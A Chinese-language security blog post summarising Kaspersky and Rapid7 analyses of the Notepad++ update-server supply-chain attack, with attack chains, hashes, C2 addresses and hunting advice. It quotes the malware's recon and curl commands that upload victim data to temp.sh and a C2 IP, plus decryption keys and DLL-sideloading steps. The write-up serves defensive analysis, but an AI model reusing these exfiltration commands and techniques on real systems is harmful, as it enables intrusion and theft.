概觀

簡介事件

2026 年 2 月 2 日由Notepad++的開發人員發布聲明稱 Notepad++ 的更新基礎設施 (update delivery infrastructure) 遭入侵 (參考)

不是 notepad++ 軟體被竄改,而是攻擊者取得對託管環境的存取權限,攔截更新流量並向特定目標推送了惡意安裝程式

簡單講就是針對軟體的自動更新做介入

這是一個供應鏈攻擊

這次攻擊事件目前被歸因可能是跟中國有關的 APT 組織: Lotus Blossom (又稱 Billbug)
參考

簡介 notepad++

Notepad++ 是一個免費開源的文字編輯器,專為 Windows 設計

台灣蠻多公司都有安裝的

現在很多程式開發的人會使用 VS Code ,但還是有很多早期的工程師愛用 notepad++

攻擊時間

目前推測為 2025.06 - 2025.12 ,攻擊者控制了 Notepad++ 託管的更新伺服器

目前預估的攻擊時間

  • 2025.06 - 2025.09 : 更新伺服器被入侵,攻擊者劫持更新流量,竄改 update.exe
  • 2026.02 : notepad++ 團隊釋出 v8.9.1 版本,並更換託管商,正式修復漏洞

當前風險高的人

  • 使用的是 8.8.9 之前的 Notepad++ 版本
  • 啟用了自動更新
  • 更新安裝時間在 2025 年 6 月至 12 月之間

當前建議措施

  • 從官方網站或 GitHub 升級到最新版本的 Notepad++
  • 企業環境中,驗證更新來源
  • 查看是否有任何從 gup.exe 產生的可疑 process

惡意程式分析

整理卡巴斯基團隊文章

以下翻譯整理他們文章資料

之後有空在自己分析


卡巴斯基團隊表示

  • 發現共有 3 個攻擊鏈
  • 攻擊的目標
    • 越南, 澳洲, 薩爾瓦多的個人電腦
    • 菲律賓政府組織
    • 薩爾瓦多金融機構
    • 越南的 IT 業者

第一個攻擊鏈 - 2025.07 - 2025.08

惡意程式放在: http://45.76.155[.]202/update/update.exe

如果從 VirusTotal 來看,第一個掃描是來自台灣的使用者,時間是 2025.09.30

從上述 url 下載的程式 SHA1:8e6e505438c21f3d281e1cc257abdbf7223b7f5a

主要程式行為:

  1. 建立一個資料夾: %appdata%\ProShow
  2. 執行 cmd /c whoami&&tasklist > 1.txt (獲取當前電腦名稱 / 使用者名稱 / 正在執行的 process)
  3. 將第二步驟產生的 1.txt 傳到 temp.sh ,上傳的命令是 curl.exe -F "[email protected]" -s https://temp.sh/upload
  4. 將前一個步驟上傳的 url 傳到 c2 ,上傳命令是 curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202
  5. 將底下 7 個檔案放置到 %appdata%\ProShow 資料夾中
  • ProShow.exe(SHA1:defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
  • defscr(SHA1:259cd3542dea998c57f67ffdd4543ab836e3d2a3)
  • if.dnt(SHA1:46654a7ad6bc809b623c51938954de48e27a5618)
  • proshow.crs(SHA1:da39a3ee5e6b4b0d3255bfef95601890afd80709)
  • proshow.phd(SHA1:da39a3ee5e6b4b0d3255bfef95601890afd80709)
  • proshow_e.bmp(SHA1:9df6ecc47b192260826c247bf8d40384aa6e6fd6)
  • load(SHA1:06a6a5a39193075734a32e0235bde0e979c27228)
  1. 執行 ProShow.exe

上述檔案只有 load 是惡意的,其他都是正常的程式

過去一般 APT Group 常見用 Dll hijacking ,但這邊是用一個舊漏洞去執行惡意 payload

裡面包含兩個 shellcode ,其中一個 shellcode 會去下載惡意 payload: https://45.77.31[.]210/users/admin

這是下載 Cobalt Strike Beacon ,其慧根 c2 通訊: cdncheck.it[.]com,並且會用

  • GET: https://45.77.31[.]210/api/update/v1
  • POST: https://45.77.31[.]210/api/FileUpload/submit

卡巴斯基團隊在 2025.08 觀察到另一個 update.exe(SHA1: 90e677d7ff5844407b9c073e3b7e896e078e11cd),執行的攻擊鏈是相同的,不同的只有

卡巴斯基團隊表示從 2025.08 過後沒再觀察到使用此種攻擊鏈的案例

第二個攻擊鏈 - 2025.09

下載的 update.exe 位置相同: http://45.76.155[.]202/update/update.exe

  • update.exe 的 SHA1 Hash: 573549869e84544e3ef253bdba79851dcde4963a
    • 執行流程
      • 透過 shell 執行並將結果上傳到 temp.sh
      • 將下一個攻擊 payload 放到硬碟上並啟動

攻擊者一開始收集的資料夾改設定為: %APPDATA%\Adobe\Scripts 且收集更多的資料,用的 shell 指令為

1
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt

後續步驟雷同,就是將收集的資料上傳到 temp.sh 之後傳到 http://45.76.155[.]202/list

但改了下一個階段的 payload ,改將底下 4 個資料放到 %APPDATA%\Adobe\Scripts 資料夾

  • alien.dll(SHA1:6444dab57d93ce987c22da66b3706d5d7fc226da)
  • lua5.1.dll(SHA1:2ab0758dda4e71aee6f4c8e4c0265a796518f07d)
  • script.exe(SHA1:bf996a709835c0c16cce1015e6d44fc95e08a38a)
  • alien.ini(SHA1:ca4b6fe0c69472cd3d63b212eb805b7f65710d33)

上述除了 alien.ini 是惡意的之外,其他都是合法的

之後是透過執行底下指令

1
%APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini

這個惡意的 alien.ini 是跟 lua 解釋器有關,裡面具體做的事情:

  1. 將 shellcode 放到記憶體中
  2. 使用 Windows API: EnumWindowStationsW 啟動 Shellcode

(題外話:這幾年看到蠻多 APT Group 用 Enum 系列去啟動的)

shellcode 同第一個攻擊鏈,會去相同的 url: https://cdncheck.it[.]com/users/admin 下載 cobalt strike beacon

此 cobalt strike 連接的 url 跟第一個攻擊鏈略有不同:

卡巴研究團隊在 2025.09 又觀察到另一個惡意程式樣本: update.exe (sha1: 13179c8f19fbf3d8473c49983a199e6cb4f318f0)

  • 這樣樣本收集受害者電腦資訊的指令略微不同

卡巴團隊還有觀察到另一個樣本: update.exe(sha1: 4c9aac447bf732acc97992290aa7a187b967ee2c)
這邊列出主要差異

第三個攻擊鏈 - 2025.10

更新伺服器的 URL 為: http://45.32.144[.]255/update/update.exe ,會下載惡意程式 update.exe(sha1: d7ffd7b588880cf61b603346a3557e7cce648c93)

這是惡意程式的功能僅是將底下 3 個檔案放到 %appdata%\Bluetooth\ 位置

  • BluetoothService.exe: (一個合法的可執行檔案)(SHA1:21a942273c14e4b9d3faa58e4de1fd4d5014a1ed)
  • log.dll: 一個惡意 DLL(SHA1:f7910d943a013eede24ac89d6388c1b98f8b3717)
  • BluetoothService: 加密的 shellcode(SHA1:7e0790226ea461bcc9ecd4be3c315ace41e1c122)

這次就是常見的攻擊方式

即是透過合法程式 BluetoothService.exe 以 Dll Hijacking 載入惡意 dll : log.dll 去解密 payload: BluetoothService ,最終會執行惡意後門程式:Chrysalis

最終的後門程式: Chrysalis 的細節可以參考 rapid7 的分析文章

rapid 7 內容敘述的 c2

  • metasploit downloader url: api.wiresguard.com/users/admin
  • cobalt strike url: api.wiresguard.com/api/FileUpload/submit

回歸的第二個攻擊鏈 - 2025.10

卡巴斯基團隊表示在 2025.10 有觀察到一個惡意程式的攻擊鏈是第二個的模式

  • 下載的惡意程式 URL: http://95.179.213.]0/date.exe (sha1: 821c0cafb2aab0f063ef7e313f64313fc81d46cd)
  • 其餘用的 c2 url 都跟第二個攻擊鏈相同: self-dns.it[.]com

卡巴斯基研究團隊表示有在 2025.10 看到攻擊者開始更改惡意推送更新的 url 位置
使用底下三種:

整理 Rapid7 分析文章

資料參考來源

概述

  • 認為 notepad++ 供應鏈攻擊的主謀是中國 APT 組織: Lotus Blossom (從 2009 年開始活動)
    • 此 APT 組織的攻擊目標: 集中在東南亞地區,近期也擴展到中美洲,尤其關注政府、電信、航空、關鍵基礎設施和媒體等等
  • 將 Notepad++ 資安事件的最終後門程式命名為:Chrysalis

初始存取

最初的惡意程式 update.exe,源於 c2:95.179.213.0 ,此程式實際上是一個 NSIS 安裝程式 (rapid 7 表示 nsis 安裝程式是中國 apt 愛用的)
提取出來的 nsis 安裝程式資訊

  • filename: [NSIS].nsi
    • SHA1l: 94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
    • 最初由荷蘭地區上傳到 VirusTotal (date: 2025.12.10)
  • filename: BluetoothService.exe (正常程式)
    • 本名: BDSubWiz.exe,他是 bitdefender 的程式
    • SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
    • 用以 DLL-Hijacking
  • BluetoothService
    • 加密的 payload
    • SHA1: 77bfea78def679aa1117f569a35e8fd1542df21f7e00e27f192c907e61d63a2e
  • log.dll
    • 惡意的 Loader
    • SHA1: 3bdc4c0637591533f1d4198a72a33426c01f69bd2e15ceee547866f65e26b7ad

安裝腳本的執行過程:

  1. 在 %AppData% 創建一個隱藏資料夾: Bluetooth
  2. 將檔案都複製到 Bluetooth 資料夾裡面
  3. 執行 BluetoothService.exe
  4. DLL SideLoading 載入 log.dll 並執行 2 個 export 函數: LogInit 和 LogWrite
  5. LogInit 函數會將加密的 payload 載到記憶體,並由 LogWrite 函數將其解密執行 shellcode

rapid 7 將 shellcode 命名為: Chrysalis

shellcode 執行過程:

  1. 透過寫死的 key : gQ2JR&9; 做自修改 code 來解密出主要程式模組
  2. 解密裡面的 config 檔案,使用 RC4 ,KEY: qwhvb^435h&*7 ,可以得到 C2 資訊: https://api.skycloudcenter.com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821

這邊 rapid7 表示 c2 的 URL 結構: /a/chat/s/{GUID} 跟 Deepseek API 聊天端點用的格式完全相同,覺得很有趣

推測是想要模仿常規流量來規避檢測

此 C2 在 Rapid 7 分析當下,解析為 : 61.4.102.97 (馬來西亞)

防禦思考

Hunting

更新伺服器被劫持,所以應該要關注 gup.exe 是否跟不是底下的 domain 連線,這樣都是惡意的

  • notepad-plus-plus.org
  • github.com
  • release-assets.githubusercontent.com

觀察是否有可疑的 dll SideLoading: 查看 BluetoothService.exe 是否有載入可疑的 dll: log.dll

因為資安分析文章都提到攻擊者有用到 Cobalt Strike 和 Metasploit ,所以也可以關注是否有這類惡意行為指標出現